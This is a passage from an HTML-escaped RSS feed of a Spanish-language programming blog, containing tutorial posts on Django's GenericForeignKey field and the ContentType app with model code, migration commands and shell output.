style=&#34;color:#5af78e&#34;&gt;&amp;#39;object_id&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;explicacion-del-campo-genericforeignkey-en-django&#34;&gt;Explicación del campo genericForeignKey en Django&lt;/h3&gt;&#xA;&lt;p&gt;A continuación te explico cada campo de nuestro modelo:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;user&lt;/strong&gt;: es una llave foranea normal. Es únicamente para saber a que usuario pertenece la actividad. Además, al ser una llave foránea, es obligatorio indicar que sucederá si se borra el modelo User con &lt;em&gt;on_delete&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;action&lt;/strong&gt;: será la acción del usuario, es solo una cadena de texto con el nombre de la actividad, podemos limitarlo a opciones, pero aquí lo dejaré abierto.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;content_type&lt;/strong&gt;: es el modelo al que hacemos referencia, el mismo que está guardando en la tabla &lt;em&gt;ContentType&lt;/em&gt; que crea Django automáticamente. Además, al ser una llave foránea, es obligatorio indicar que sucederá si se borra el modelo &lt;em&gt;ContentType&lt;/em&gt; con &lt;em&gt;on_delete&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;object_id&lt;/strong&gt;: la llave primaria o identificador del objeto al que haremos referencia.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;item&lt;/strong&gt;: es una abstracción que te permite acceder directamente al objeto que hacemos referencia con &lt;em&gt;content_type&lt;/em&gt; y object_id; &lt;strong&gt;este campo no existe en la base de datos.&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;creacion-de-un-objeto&#34;&gt;Creación de un objeto&lt;/h2&gt;&#xA;&lt;p&gt;Ahora, para crear un objeto, &lt;strong&gt;basta con que le pasemos la instancia de un objeto al campo item&lt;/strong&gt;, los campos &lt;em&gt;content_type&lt;/em&gt; y &lt;em&gt;object_id&lt;/em&gt; se llenarán automáticamente. El resto es exactamente igual que cuando guardas cualquier instancia de un objeto en la base de datos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.auth.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; User&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; tuApp.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; tuModelo &lt;span style=&#34;color:#78787e&#34;&gt;# Aquí va el modelo de tu app&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;usuario &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; User&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#ff5c57&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;) &lt;span style=&#34;color:#78787e&#34;&gt;# Reemplazalo por lo que quieras&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;modelo &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; tuModelo&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#ff5c57&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;) &lt;span style=&#34;color:#78787e&#34;&gt;# Reemplazalo por lo que quieras&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;activity &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ActivityStream(user&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;user, action&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;accion&amp;#34;&lt;/span&gt;, item&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;modelo)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;activity&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;save()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Listo, si ahora revisamos el modelo que acabamos de crear, notarás que los campos &lt;em&gt;content_type&lt;/em&gt; y &lt;em&gt;object_id&lt;/em&gt; se han llenado automáticamente.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;activity.object_id&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;activity.content_type&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;ContentType: tuModelo | tuModelo&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora puedes usar ese objeto para llevar a cabo un stream de actividades, un historial o lo que tú prefieras.&lt;/p&gt;&#xA;&lt;p&gt;Recuerda que si quieres ahondar más en el tema puedes visitar &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.djangoproject.com/en/3.1/ref/contrib/contenttypes/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;la documentación oficial de Django&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Quieres usar Django para relacionar un modelo con otro usando una llave foránea, pero el modelo que quieres relacionar es uno diferente para cada entrada de la base de datos. Django Generic Foreign Key ofrece una solución a tu problema, una llave foránea genérica llamada genericForeignKey y el modelo ContentType, del que ya hable anteriormente.&lt;/p&gt;&#xA;&lt;p&gt;El tipo de campo genericForeignkey es capaz de enlazar a diferentes tipos de modelos, lo que nos permite relacionar cualquier otro modelo con el nuestro. ¿Recuerdas que en la entrada anterior hablé de ContentType? Pues ahora sí le daremos una aplicación práctica. Si quieres repasar un poco lo anterior, visita mi entrada donde hablo de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/que-hace-la-aplicacion-contenttype-en-django/&#34;&gt;ContentType en Django&lt;/a&gt;&#xA;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>¿Qué hace la aplicación ContentType en Django?</title>
      <link>https://coffeebytes.dev/es/django/que-hace-la-aplicacion-contenttype-en-django/</link>
      <pubDate>Tue, 16 Feb 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/django/que-hace-la-aplicacion-contenttype-en-django/</guid>
      
      <category>django</category>
      
      <category>databases</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;¿Sabías que Django lleva un registro de cada uno de los modelos que creas para tu proyecto en un modelo llamado &lt;em&gt;ContentType&lt;/em&gt;? Sigue leyendo para aprender al respecto.&lt;/p&gt;&#xA;&lt;p&gt;¡Perdón por tardar tanto en escribir! He estado ocupado mudando el frontend de mi blog a Frontity, un framework de React para Wordpress, y también mudándome a un nuevo departamento. Quizás hable un poco al respecto de Frontity en alguna entrada futura. Por ahora continuemos con el tema.&lt;/p&gt;&#xA;&lt;p&gt;Antes de empezar, si no tienes ninguna idea de para que sirve Django visita mi entrada donde hablo &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/por-que-deberias-usar-django-framework/&#34;&gt;sobre porque deberías usar Django&lt;/a&gt;&#xA;. Si ya has usado Django anteriormente, sigamos adelante.&lt;/p&gt;&#xA;&lt;h2 id=&#34;contenttype-y-los-modelos&#34;&gt;ContentType y los modelos&lt;/h2&gt;&#xA;&lt;p&gt;ContentTypes es un &lt;strong&gt;modelo especial de Django que registra cada uno de los modelos que existen&lt;/strong&gt; dentro de nuestra aplicación, tanto los que nosotros creamos, como los que vienen instalados por defecto.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;para-que-sirve-contenttype&#34;&gt;¿Para que sirve ContentType?&lt;/h2&gt;&#xA;&lt;p&gt;ContentType &lt;strong&gt;sirve para relacionar modelos con otros modelos&lt;/strong&gt;, como si fuera una foreign key (llave foránea), pero con la ventaja de que el tipo de modelo con el cual lo relacionemos puede ser diferente para cada entrada de la tabla.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph TD;&#xA;  ContentType--&gt;log_entry;&#xA;  ContentType--&gt;permission;&#xA;  ContentType--&gt;group;&#xA;  ContentType--&gt;user;&#xA;  ContentType--&gt;your_model;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;p&gt;Imagínate una sencilla red social, donde tenemos diferentes tipos de contenido; un modelo para videos, un modelo para imágenes y un modelo para textos. ContentType nos permite crear un modelo que haga referenciar a cualquiera de nuestros tres modelos de una manera sencilla, incluso si son modelos completamente diferentes.&lt;/p&gt;&#xA;&lt;h2 id=&#34;como-usar-contenttype&#34;&gt;¿Cómo usar ContentType?&lt;/h2&gt;&#xA;&lt;p&gt;Para ejemplificar como funciona ContentType vamos a crear un projecto de django, con un modelo:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Una vez en nuestro entorno virtual, instalemos Django&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install django&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Creemos un proyecto:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;django-admin startproject videogameStore&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;cd&lt;/span&gt; videogameStore&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora crearemos una app para nuestra aplicación.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;django-admin startapp videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;cd&lt;/span&gt; videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Ya que tenemos nuestra aplicación, habrá que crear un modelo, y, como ya te mencioné, Django automáticamente registrará ese modelo en su aplicación &lt;em&gt;ContentType&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Lo primer que haremos será abrir nuestro archivo &lt;em&gt;models.py&lt;/em&gt; y editar el contenido&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Create your models here.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Videogame&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;256&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    created &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;DateTimeField(auto_now_add&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    modified    &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;DateTimeField(auto_now&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Hay que recordar agregar nuestra app recién creada a nuestro archivo &lt;em&gt;settings.py&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;INSTALLED_APPS &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;videogame&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Creamos las migraciones y las ejecutamos. Presta atención a como se crean migraciones para la aplicación ContentTypes en Django.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python3 manage.py makemigrations&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Migrations &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;videogame&amp;#39;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  videogame/migrations/0001_initial.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    - Create model Videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python3 manage.py migrate&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Operations to perform:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Apply all migrations: admin, auth, contenttypes, sessions, videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Running migrations:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Applying contenttypes.0001_initial... OK&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Applying auth.0001_initial... OK&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora tendremos un modelo registrado en &lt;em&gt;ContentType&lt;/em&gt;. Vamos a corroborarlo directo desde la &lt;em&gt;shell&lt;/em&gt; de Django.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python manage&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py shell&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Una vez en la terminal, importemos el modelo &lt;em&gt;ContentType&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;como-obtener-modelos-de-contentype-en-django&#34;&gt;Como obtener modelos de ContenType en Django?&lt;/h3&gt;&#xA;&lt;p&gt;Justo como cualquier otro modelo, podemos usar su ORM para obtener los datos de los modelos.&lt;/p&gt;&#xA;&lt;p&gt;Cada objecto del modelo &lt;em&gt;ContentType&lt;/em&gt; tendrá una propiedad llamada &lt;em&gt;app_label&lt;/em&gt;, y otra &lt;em&gt;model&lt;/em&gt;, las cuales son el nombre de la aplicación y el nombre del modelo, respectivamente.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.contenttypes.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; ContentType&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ContentType&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(app_label&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;videogame&amp;#39;&lt;/span&gt;, model&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;videogame&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;ContentType: videogame &lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt; videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si prefieres, también puedes acceder a la instancia de &lt;em&gt;ContentType&lt;/em&gt; directamente desde el modelo usando el método &lt;em&gt;get_for_model&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; videogame.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ContentType&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get_for_model(Videogame)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;ContentType: videogame &lt;span 